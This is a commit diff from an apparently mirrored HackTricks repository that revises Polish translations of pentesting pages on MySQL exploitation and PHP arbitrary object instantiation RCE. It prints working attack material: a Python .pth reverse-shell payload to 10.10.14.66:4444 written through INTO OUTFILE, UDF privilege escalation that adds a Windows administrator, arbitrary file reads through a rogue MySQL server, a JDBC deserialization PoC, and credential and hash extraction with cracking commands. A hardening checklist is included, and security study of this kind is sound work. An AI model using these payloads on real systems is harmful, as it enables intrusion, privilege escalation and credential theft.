mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R
This commit is contained in:
parent
61576ffdea
commit
769d19387a
@ -4,7 +4,7 @@
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**MySQL** można opisać jako otwarte źródło **Systemu Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
**MySQL** można opisać jako otwartoźródłowy **Relational Database Management System (RDBMS)** dostępny bezpłatnie. Wykorzystuje **Structured Query Language (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
|
||||
**Domyślny port:** 3306
|
||||
```
|
||||
@ -17,14 +17,14 @@
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
```
|
||||
### Zdalny
|
||||
### Zdalne
|
||||
```bash
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## External Enumeration
|
||||
|
||||
Niektóre z działań enumeracyjnych wymagają ważnych poświadczeń.
|
||||
Niektóre akcje enumeration wymagają ważnych danych uwierzytelniających.
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -78,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### Enumeracja uprawnień MySQL
|
||||
### Wyliczanie uprawnień MySQL
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
W dokumentacji można zobaczyć znaczenie każdego przywileju: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL File RCE
|
||||
|
||||
@ -110,15 +110,15 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny haki konfiguracyjne)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (haków konfiguracyjnych specyficznych dla środowiska)
|
||||
|
||||
Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**.
|
||||
Wykorzystując klasyczny prymityw `INTO OUTFILE` można uzyskać *wykonanie dowolnego kodu* na celach, które później uruchamiają skrypty **Python**.
|
||||
|
||||
1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy **`.pth`** plik w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`).
|
||||
2. Plik `.pth` może zawierać *jedną linię* zaczynającą się od `import `, po której następuje dowolny kod Python, który będzie wykonywany za każdym razem, gdy interpreter się uruchomi.
|
||||
3. Gdy interpreter jest niejawnie uruchamiany przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebang `#!/bin/python`), ładunek jest wykonywany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne RCE przed uwierzytelnieniem).
|
||||
1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy plik **`.pth`** w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`).
|
||||
2. Plik `.pth` może zawierać *pojedynczą linię* rozpoczynającą się od `import `, po którym następuje dowolny kod Python, który zostanie wykonany za każdym razem, gdy interpreter się uruchomi.
|
||||
3. Jeśli interpreter jest wywoływany pośrednio przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebangiem `#!/bin/python`), payload zostanie wykonany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne pre-auth RCE).
|
||||
|
||||
Przykład ładunku `.pth` (jedna linia, nie mogą być zawarte spacje w końcowym ładunku SQL, więc może być wymagane użycie hex/`UNHEX()` lub konkatenacji ciągów):
|
||||
Przykładowy payload `.pth` (pojedyncza linia, w końcowym SQL payload nie mogą występować spacje, więc może być konieczne użycie hex/`UNHEX()` lub konkatenacji łańcuchów):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
@ -128,42 +128,40 @@ Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpio
|
||||
```
|
||||
Ważne ograniczenia i obejścia:
|
||||
|
||||
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
|
||||
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
|
||||
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
|
||||
* `INTO OUTFILE` **nie może nadpisać** istniejących plików; wybierz nową nazwę pliku.
|
||||
* Ścieżka do pliku jest rozwiązywana **względem MySQL’s CWD**, więc poprzedzenie jej `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
|
||||
* Jeśli dane wejściowe atakującego są pobierane za pomocą `%128s` (lub podobnego), każda spacja obetnie payload; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/` zamiast spacji.
|
||||
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
|
||||
|
||||
Po usunięciu `.pth`, po prostu zażądaj dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu:
|
||||
Po zapisaniu `.pth`, wystarczy zażądać dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Proces Pythona automatycznie zaimportuje złośliwy plik `.pth` i wykona ładunek powłoki.
|
||||
Proces Pythona automatycznie zaimportuje złośliwy `.pth` i wykona shell payload.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
## MySQL dowolny odczyt pliku przez client
|
||||
|
||||
## MySQL dowolne odczytywanie pliku przez klienta
|
||||
|
||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\
|
||||
Zauważ, że takie jest zachowanie przy użyciu:
|
||||
Zasadniczo, gdy próbujesz **load data local into a table**, serwer MySQL lub MariaDB prosi **client to read it** i przesyła zawartość pliku. **Jeżeli uda ci się zmanipulować mysql client tak, by połączył się z twoim własnym MySQL server, możesz odczytać arbitrary files.**\
|
||||
Zwróć uwagę, że takie zachowanie występuje przy użyciu:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(Uwaga na słowo "local")\
|
||||
Ponieważ bez "local" możesz uzyskać:
|
||||
(Zwróć uwagę na słowo "local")\
|
||||
Ponieważ bez "local" możesz otrzymać:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**W tym artykule można zobaczyć pełny opis ataku, a nawet jak go rozszerzyć na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Tutaj można znaleźć przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Wstępny PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**W tym artykule znajdziesz pełny opis ataku i nawet jak rozszerzyć go do RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Tutaj znajdziesz przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -171,7 +169,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mysql User
|
||||
### Użytkownik mysql
|
||||
|
||||
Będzie to bardzo interesujące, jeśli mysql działa jako **root**:
|
||||
```bash
|
||||
@ -180,16 +178,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
```
|
||||
#### Niebezpieczne ustawienia mysqld.cnf
|
||||
|
||||
W konfiguracji usług MySQL stosuje się różne ustawienia do określenia ich działania i środków bezpieczeństwa:
|
||||
W konfiguracji usług MySQL używa się różnych ustawień do określenia jego działania i zabezpieczeń:
|
||||
|
||||
- Ustawienie **`user`** jest wykorzystywane do wyznaczenia użytkownika, pod którym będzie uruchamiana usługa MySQL.
|
||||
- **`password`** jest stosowane do ustalenia hasła powiązanego z użytkownikiem MySQL.
|
||||
- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na administracyjnym interfejsie sieciowym.
|
||||
- Zmienna **`debug`** wskazuje na bieżące konfiguracje debugowania, w tym wrażliwe informacje w logach.
|
||||
- **`sql_warnings`** zarządza tym, czy generowane są ciągi informacyjne dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach.
|
||||
- Ustawienie **`user`** służy do wskazania użytkownika, pod którym będzie uruchomiona usługa MySQL.
|
||||
- **`password`** jest stosowane do ustawienia hasła powiązanego z użytkownikiem MySQL.
|
||||
- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na interfejsie sieciowym administracyjnym.
|
||||
- Zmienna **`debug`** wskazuje bieżące ustawienia debugowania, które mogą zawierać wrażliwe informacje w logach.
|
||||
- **`sql_warnings`** kontroluje, czy dla instrukcji INSERT wstawiających pojedynczy wiersz generowane są komunikaty informacyjne przy wystąpieniu ostrzeżeń — co może prowadzić do ujawnienia wrażliwych danych w logach.
|
||||
- Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa.
|
||||
|
||||
### Eskalacja uprawnień
|
||||
### Privilege escalation
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -207,18 +205,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Eskalacja uprawnień za pomocą biblioteki
|
||||
### Eskalacja uprawnień przez bibliotekę
|
||||
|
||||
Jeśli **serwer mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz sprawić, że wykona on polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby stworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql.
|
||||
Jeśli **mysql server działa jako root** (lub inny, bardziej uprzywilejowany użytkownik) możesz sprawić, że będzie wykonywać polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby utworzyć taką funkcję, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql.
|
||||
|
||||
Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to te dla **Windows**, wybierz tę, której potrzebujesz.
|
||||
Złośliwą bibliotekę do użycia można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to biblioteki **linux**, a **`.dll`** to biblioteki **Windows** — wybierz tę, której potrzebujesz.
|
||||
|
||||
Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**:
|
||||
Jeśli **nie masz** tych bibliotek, możesz albo **poszukać ich**, albo pobrać ten [**linux C code**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
Teraz, gdy masz bibliotekę, zaloguj się do Mysql jako użytkownik z uprawnieniami (root?) i wykonaj następne kroki:
|
||||
Gdy masz już bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i wykonaj następujące kroki:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -252,17 +250,26 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Wyciąganie poświadczeń MySQL z plików
|
||||
#### Porada Windows: tworzenie katalogów z NTFS ADS z poziomu SQL
|
||||
|
||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formie tekstu jawnego** użytkownika **debian-sys-maint**
|
||||
Na NTFS można wymusić utworzenie katalogu przy użyciu alternatywnego strumienia danych, nawet gdy jedyną dostępną operacją jest zapis pliku. Jeśli the classic UDF chain oczekuje katalogu `plugin`, ale on nie istnieje i `@@plugin_dir` jest nieznany lub zablokowany, możesz najpierw go utworzyć za pomocą `::$INDEX_ALLOCATION`:
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
To zamienia ograniczony `SELECT ... INTO OUTFILE` w bardziej kompletny prymityw na systemach Windows, tworząc strukturę katalogów potrzebną do UDF drops.
|
||||
|
||||
### Wyodrębnianie poświadczeń MySQL z plików
|
||||
|
||||
W pliku _/etc/mysql/debian.cnf_ możesz znaleźć **hasło w postaci jawnego tekstu** użytkownika **debian-sys-maint**
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Możesz **użyć tych danych logowania, aby zalogować się do bazy danych mysql**.
|
||||
Możesz **użyć tych poświadczeń, aby zalogować się do bazy danych mysql**.
|
||||
|
||||
W pliku: _/var/lib/mysql/mysql/user.MYD_ możesz znaleźć **wszystkie hashe użytkowników MySQL** (te, które możesz wyodrębnić z mysql.user wewnątrz bazy danych)_._
|
||||
W pliku: _/var/lib/mysql/mysql/user.MYD_ znajdziesz **wszystkie hashes użytkowników MySQL** (te, które możesz wyodrębnić z mysql.user w bazie danych)_._
|
||||
|
||||
Możesz je wyodrębnić, wykonując:
|
||||
Możesz je wyodrębnić wykonując:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
@ -296,7 +303,7 @@ Pliki konfiguracyjne
|
||||
- update.log
|
||||
- common.log
|
||||
|
||||
## Domyślna baza danych/tabele MySQL
|
||||
## Domyślne bazy danych/tabele MySQL
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="information_schema"}}
|
||||
@ -647,36 +654,35 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Najważniejsze wydarzenia (nowe)
|
||||
## Najważniejsze 2023-2025 (nowe)
|
||||
|
||||
### JDBC `propertiesTransform` deserializacja (CVE-2023-21971)
|
||||
Od Connector/J <= 8.0.32, atakujący, który może wpływać na **JDBC URL** (na przykład w oprogramowaniu firm trzecich, które prosi o ciąg połączenia), może zażądać załadowania dowolnych klas po stronie *klienta* za pomocą parametru `propertiesTransform`. Jeśli gadżet obecny na ścieżce klas jest możliwy do załadowania, skutkuje to **zdalnym wykonaniem kodu w kontekście klienta JDBC** (przed uwierzytelnieniem, ponieważ nie są wymagane żadne ważne poświadczenia). Minimalny PoC wygląda następująco:
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
W Connector/J <= 8.0.32 atakujący, który może wpływać na **JDBC URL** (np. w oprogramowaniu firm trzecich, które prosi o connection string), może zażądać załadowania dowolnych klas po stronie *client* za pomocą parametru `propertiesTransform`. Jeśli na class-path znajduje się gadżet, który można załadować, prowadzi to do **remote code execution w kontekście JDBC client** (pre-auth, ponieważ nie są wymagane prawidłowe poświadczenia). Minimalny PoC wygląda tak:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go w class-path aplikacji z luką lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem został naprawiony w Connector/J 8.0.33 – zaktualizuj sterownik lub wyraźnie ustaw `propertiesTransform` na liście dozwolonej.
|
||||
(Zobacz artykuł Snyk po szczegóły)
|
||||
Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go na class-path wrażliwej aplikacji lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem naprawiono w Connector/J 8.0.33 — zaktualizuj driver albo jawnie ustaw `propertiesTransform` na allow-list. (Zobacz write-up Snyk po szczegóły)
|
||||
|
||||
### Ataki z użyciem złośliwego / fałszywego serwera MySQL przeciwko klientom JDBC
|
||||
Kilka narzędzi open-source implementuje *częściowy* protokół MySQL w celu ataku na klientów JDBC, którzy łączą się na zewnątrz:
|
||||
### Rogue / Fake MySQL server attacks against JDBC clients
|
||||
Kilka narzędzi open-source implementuje *częściowy* protokół MySQL, aby atakować klientów JDBC, którzy łączą się na zewnątrz:
|
||||
|
||||
* **mysql-fake-server** (Java, obsługuje exploity do odczytu plików i deserializacji)
|
||||
* **mysql-fake-server** (Java, wspiera odczyt plików i exploity deserializacji)
|
||||
* **rogue_mysql_server** (Python, podobne możliwości)
|
||||
|
||||
Typowe ścieżki ataku:
|
||||
|
||||
1. Aplikacja ofiary ładuje `mysql-connector-j` z `allowLoadLocalInfile=true` lub `autoDeserialize=true`.
|
||||
2. Atakujący kontroluje DNS / wpis hosta, aby nazwa hosta bazy danych rozwiązywała się na maszynę pod ich kontrolą.
|
||||
3. Złośliwy serwer odpowiada stworzonym pakietem, który wyzwala albo `LOCAL INFILE` dowolny odczyt pliku, albo deserializację Java → RCE.
|
||||
2. Atakujący kontroluje wpis DNS / host tak, że nazwa hosta DB rozwiązuje się do maszyny pod jego kontrolą.
|
||||
3. Złośliwy serwer odpowiada spreparowanymi pakietami, które wywołują albo `LOCAL INFILE` — arbitralny odczyt pliku — albo deserializację Java → RCE.
|
||||
|
||||
Przykład jednego polecenia do uruchomienia fałszywego serwera (Java):
|
||||
Przykładowy one-liner do uruchomienia fałszywego serwera (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku jako base64 w polu *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Łamanie hashy `caching_sha2_password`
|
||||
MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (tryb **21100**), jak i John-the-Ripper (`--format=mysql-sha2`) obsługują łamanie offline od 2023 roku. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio:
|
||||
### Cracking `caching_sha2_password` hashes
|
||||
MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (mode **21100**) jak i John-the-Ripper (`--format=mysql-sha2`) obsługują offline cracking od 2023. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
@ -685,20 +691,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Lista kontrolna wzmacniania (2025)
|
||||
• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby zablokować większość prymitywów do odczytu/zapisu plików.
|
||||
• Usuń uprawnienie **`FILE`** z kont aplikacji.
|
||||
• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste).
|
||||
• Wyłącz nieużywane wtyczki uwierzytelniające i **wymagaj TLS** (`require_secure_transport = ON`).
|
||||
• Monitoruj `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłe polecenia `SET GLOBAL`.
|
||||
### Lista kontrolna hardeningu (2025)
|
||||
• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby wyeliminować większość prymitywów do odczytu/zapisu plików.
|
||||
• Usuń uprawnienie **`FILE`** z kont aplikacji.
|
||||
• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste).
|
||||
• Wyłącz nieużywane pluginy uwierzytelniania i **wymagaj TLS** (`require_secure_transport = ON`).
|
||||
• Monitoruj wystąpienia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłych poleceń `SET GLOBAL`.
|
||||
|
||||
---
|
||||
|
||||
## Odniesienia
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
## Referencje
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,16 +1,16 @@
|
||||
# PHP - RCE nadużywanie tworzenia obiektów: new $\_GET\["a"]\($\_GET\["b"])
|
||||
# PHP - RCE wykorzystywanie tworzenia obiektów: new $_GET["a"]($_GET["b"])
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
To jest zasadniczo podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
Tworzenie nowych, dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do zdalnego wykonania kodu (RCE), jak szczegółowo opisano w [**opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Dokument ten podkreśla różne strategie osiągania RCE.
|
||||
Tworzenie nowych dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do Remote Code Execution (RCE), jak opisano w [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Niniejszy dokument przedstawia różne strategie osiągnięcia RCE.
|
||||
|
||||
## RCE za pomocą klas niestandardowych lub autoloadingu
|
||||
## RCE przez własne klasy lub autoloading
|
||||
|
||||
Składnia `new $a($b)` jest używana do instancjonowania obiektu, gdzie **`$a`** reprezentuje nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wejściowych użytkownika, takich jak GET/POST, gdzie mogą być ciągami lub tablicami, lub z JSON, gdzie mogą występować jako inne typy.
|
||||
Składnia `new $a($b)` służy do tworzenia instancji obiektu, gdzie **`$a`** oznacza nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Zmienne te mogą pochodzić z danych wejściowych od użytkownika jak GET/POST, gdzie mogą być stringami lub tablicami, albo z JSON, gdzie mogą występować jako inne typy.
|
||||
|
||||
Rozważ poniższy fragment kodu:
|
||||
```php
|
||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
|
||||
|
||||
new $a($b);
|
||||
```
|
||||
W tym przypadku ustawienie `$a` na `App` lub `App2` oraz `$b` na polecenie systemowe (np. `uname -a`) skutkuje wykonaniem tego polecenia.
|
||||
W tym przypadku ustawienie `$a` na `App` lub `App2` i `$b` na polecenie systemowe (np. `uname -a`) powoduje wykonanie tego polecenia.
|
||||
|
||||
**Funkcje autoloading** mogą być wykorzystywane, jeśli takie klasy nie są bezpośrednio dostępne. Te funkcje automatycznie ładują klasy z plików w razie potrzeby i są definiowane za pomocą `spl_autoload_register` lub `__autoload`:
|
||||
**Funkcje autoloadingu** można wykorzystać, jeśli takie klasy nie są bezpośrednio dostępne. Funkcje te automatycznie ładują klasy z plików, gdy są potrzebne i są definiowane za pomocą `spl_autoload_register` lub `__autoload`:
|
||||
```php
|
||||
spl_autoload_register(function ($class_name) {
|
||||
include './../classes/' . $class_name . '.php';
|
||||
@ -45,52 +45,76 @@ include $class_name . '.php';
|
||||
|
||||
spl_autoload_register();
|
||||
```
|
||||
Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE.
|
||||
Zachowanie mechanizmu autoloadingu różni się między wersjami PHP, oferując różne możliwości RCE.
|
||||
|
||||
## RCE za pomocą klas wbudowanych
|
||||
## RCE przez wbudowane klasy
|
||||
|
||||
Brakując niestandardowych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Można je wylistować za pomocą `get_declared_classes()`.
|
||||
W przypadku braku własnych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Ich liczba wynosi od około 100 do 200, w zależności od wersji PHP i zainstalowanych rozszerzeń. Można je wypisać za pomocą `get_declared_classes()`.
|
||||
|
||||
